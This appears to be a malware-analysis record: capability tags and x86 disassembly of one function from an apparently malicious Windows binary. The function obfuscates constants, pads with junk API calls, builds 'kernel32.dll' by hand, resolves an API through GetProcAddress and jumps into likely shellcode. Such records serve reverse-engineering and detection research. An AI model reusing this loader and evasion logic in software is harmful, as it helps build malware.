Function at 0x40d860
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Get system information on windows
Manipulate console buffer
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x984
mov eax, dword [0x41a1ec]
xor eax, esp
mov dword [esp + 0x980], eax
push ebx
push esi
push edi
mov dword [esp + 0x28], 0x7dd4dac0
sub dword [esp + 0x28], 0x7ced4c34
mov dword [esp + 0x50], 0x33907bb3
sub dword [esp + 0x28], 0x4d088329
add dword [esp + 0x28], 0x19fb50b
mov dword [esp + 0x30], 0x3a55614
add dword [esp + 0x50], 0x1473901c
add dword [esp + 0x28], 0x4d8ae5e8
add dword [esp + 0x50], 0x749eb813
add dword [esp + 0x28], 0x77d928dd
add dword [esp + 0x28], 0x3155e3c7
mov dword [esp + 0x2c], 0x2001f9a7
mov dword [esp + 0x58], 0x6eb96564
mov dword [esp + 0x6c], 0x270207b9
add dword [esp + 0x30], 0x21b2189
mov dword [esp + 0x1c], 0x4b70dff3
mov dword [esp + 0x38], 0x6fb2ec4e
mov dword [esp + 0x80], 0x78475bc3
sub dword [esp + 0x6c], 0x68cfd0d1
sub dword [esp + 0x2c], 0x8de40e
mov dword [esp + 0x94], 0x9bbb3ab
sub dword [esp + 0x6c], 0x49e9c70f
sub dword [esp + 0x58], 0x7c973193
sub dword [esp + 0x28], 0x7f4ba6b
add dword [esp + 0x50], 0x50b447f8
sub dword [esp + 0x58], 0x11f27f6c
sub dword [esp + 0x2c], 0x64239bd5
sub dword [esp + 0x6c], 0x56dab5c4
add dword [esp + 0x28], 0x98ea6c8
add dword [esp + 0x30], 0x15dcfc09
mov dword [esp + 0x40], 0x7f85b1a6
sub dword [esp + 0x80], 0xf18b1cf
add dword [esp + 0x40], 0x2850317b
sub dword [esp + 0x6c], 0x2dbe669c
add dword [esp + 0x2c], 0x753af787
mov dword [esp + 0x98], 0x60203372
sub dword [esp + 0x28], 0x8db5694
sub dword [esp + 0x80], 0xfe48dfa
mov dword [esp + 0x90], 0x42c11e4f
mov dword [esp + 0x64], 0x9ce1c1d
sub dword [esp + 0x2c], 0x1354c0b0
sub dword [esp + 0x90], 0x80f197c
add dword [esp + 0x90], 0x2caab008
add dword [esp + 0x40], 0x2c8e8b1e
mov dword [esp + 0x48], 0x6f062b1d
sub dword [esp + 0x40], 0x435fb38d
sub dword [esp + 0x6c], 0x529429dc
mov dword [esp + 0x54], 0x270eadae
add dword [esp + 0x58], 0x6020d70b
mov dword [esp + 0x84], 0x77fa0846
sub dword [esp + 0x2c], 0x61e77be7
mov dword [esp + 0x8c], 0x6900d8e
sub dword [esp + 0x2c], 0x4ecdc522
mov dword [esp + 0x60], 0x5eb37751
add dword [esp + 0x40], 0x266f5e41
mov dword [esp + 0x34], 0x5e578f01
mov dword [esp + 0x24], 0x30ba32d3
add dword [esp + 0x38], 0x4bca742
sub dword [esp + 0x90], 0x5fb8ca13
sub dword [esp + 0x58], 0x72f502bc
add dword [esp + 0x8c], 0x5ddd5b1e
sub dword [esp + 0x80], 0xc702476
sub dword [esp + 0x48], 0x7e89041a
sub dword [esp + 0x6c], 0xf8d6f7f
add dword [esp + 0x24], 0x257846ea
add dword [esp + 0x38], 0x825e9ce
add dword [esp + 0x64], 0x8ff24de
sub dword [esp + 0x60], 0x4adaad79
sub dword [esp + 0x64], 0x651409b2
add dword [esp + 0x1c], 0x6f893d6d
sub dword [esp + 0x90], 0x6f836ab5
mov dword [esp + 0x18], 0x454d2ebd
add dword [esp + 0x98], 0x7c956537
sub dword [esp + 0x90], 0x62462f7
sub dword [esp + 0x54], 0x6365dc4f
mov dword [esp + 0x14], 0x29dd2e92
add dword [esp + 0x40], 0xc48b9db
mov dword [esp + 0x20], 0xf1ae783
mov dword [esp + 0x68], 0x645f253b
sub dword [esp + 0x24], 0x3e415248
mov dword [esp + 0x78], 0x66fedf60
add dword [esp + 0x90], 0x149ce953
sub dword [esp + 0x40], 0x17977ded
add dword [esp + 0x18], 0x5c84f536
mov dword [esp + 0x70], 0x764bcac1
sub dword [esp + 0x60], 0x48e94ee8
mov dword [esp + 0x44], 0x5a89ef2b
add dword [esp + 0x40], 0x672b4d6c
sub dword [esp + 0x84], 0x3f47a162
mov dword [esp + 0x4c], 0x7098599d
sub dword [esp + 0x34], 0x6cdfdfa7
sub dword [esp + 0x98], 0x7357d63
mov dword [esp + 0x7c], 0x491b6dfe
mov dword [esp + 0x5c], 0x623c0470
sub dword [esp + 0x70], 0x6ab83e28
sub dword [esp + 0x40], 0x5cb64677
mov dword [esp + 0x88], 0x6d13fdd
sub dword [esp + 0x38], 0x28dd02f8
add dword [esp + 0x40], 0x76c1dc40
mov dword [esp + 0x3c], 0x5b246361
add dword [esp + 0x88], 0x4c416f5a
add dword [esp + 0x68], 0x6cb71733
sub dword [esp + 0x54], 0x6dcac978
add dword [esp + 0x5c], 0x694cc55c
sub dword [esp + 0x20], 0x25445043
add dword [esp + 0x94], 0x6373f380
sub dword [esp + 0x5c], 0x4b054118
add dword [esp + 0x84], 0x7c62d561
mov dword [esp + 0x74], 0x701b783a
sub dword [esp + 0x3c], 0x3bb8aef2
sub dword [esp + 0x8c], 0x135fc3aa
sub dword [esp + 0x88], 0x2784118c
sub dword [esp + 0x14], 0x183786ab
add dword [esp + 0x30], 0x5285d314
add dword [esp + 0x48], 0x9175030
sub dword [esp + 0x44], 0x45e660b7
sub dword [esp + 0x80], 0x7182e3b7
sub dword [esp + 0x4c], 0xb57beae
add dword [esp + 0x78], 0x7742ff1a
add dword [esp + 0x24], 0x12399794
add dword [esp + 0x68], 0x33e1766f
sub dword [esp + 0x7c], 0x64ad7ec8
sub dword [esp + 0x44], 0x38278694
sub dword [esp + 0x8c], 0x247976c0
add dword [esp + 0x74], 0x5bcc4c66
add dword [esp + 0x70], 0x4853eec1
add dword [esp + 0x38], 0x5f127e01
add dword [esp + 0x64], 0x552100a3
add dword [esp + 0x78], 0xc2decc3
xor ebx, ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 0xc], 0x19fe3
add dword [esp + 0xc], 0x932
mov dword [esp + 0xa8], ebx
mov dword [esp + 0xa0], ebx
mov byte [esp + 0x9f], 1
cmp dword [esp + 0xa0], 0xd97f
jle 0x40dd1c
mov byte [esp + 0x9f], bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [esp + 0xa0], ebx
jge 0x40ddce
lea eax, [esp + 0x10]
push eax
push dword [esp + 0xac]
push 0x89900
push 0x71
push 0x6f699
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
lea eax, [esp + 0x10]
push eax
push dword [esp + 0xac]
push 0x45a200
push str.asidyugfyuasdf_qwlekfyugsadf_qliewufgoiasudhf
push 0x298b9c0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push 0x1b
pop ecx
mov esi, str.asidjnfiasjdfias_asodfniwefibaisd_aosdfniasdubfuasdhbf
lea edi, [esp + 0x188]
rep movsd dword es:[edi], dword [esi]
push 0x792
lea eax, [esp + 0x1fa]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.0040a460
add esp, 0xc
lea eax, [esp + 0xa4]
push eax
xor esi, esi
lea eax, [esp + 0x18c]
inc esi
push eax
mov dword [esp + 0xac], esi
push dword [esp + 0xac]
call dword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
cmp eax, 0x86ef
je 0x40deaf
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetAltTabInfoW]
inc dword [esp + 0xa0]
cmp byte [esp + 0x9f], bl
jne 0x40dd02
xor esi, esi
lea eax, [esp + 0xb4]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadSelectorEntry]
lea eax, [esp + 0xa0]
push eax
lea eax, [esp + 0xb4]
push eax
lea eax, [esp + 0xac]
push eax
lea eax, [esp + 0xb8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea eax, [esp + 0xbc]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp esi, 0x25543
jle 0x40de5a
movzx eax, word [esp + 0xb4]
cmp eax, 0xf5e3204
je 0x40de5a
cmp dword [esp + 0xa4], 0x5fa6c78
je 0x40de5a
cmp dword [esp + 0xc0], 0x5696a3
jne 0x40deb6
cmp dword [esp + 0xa8], ebx
jne 0x40dea9
push str.kernel
push 0x41c338
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.kernel32.dll
mov dword [0x41c338], 0x6e72656b
mov dword [0x41c33c], 0x32336c65
mov dword [0x41c340], 0x6c6c642e
mov byte [0x41c344], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esp + 0xa8], eax
inc esi
jmp 0x40dde4
mov eax, esi
jmp 0x40dff5
lea eax, [esp + 0xe0]
push eax
call fcn.0040175e
push 0x415f08
push dword [esp + 0xac]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x140]
mov dword [0x41c738], eax
jmp 0x444cb4
mov ecx, dword [esp + 0x98c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402eb0
mov esp, ebp
pop ebp
ret 0x10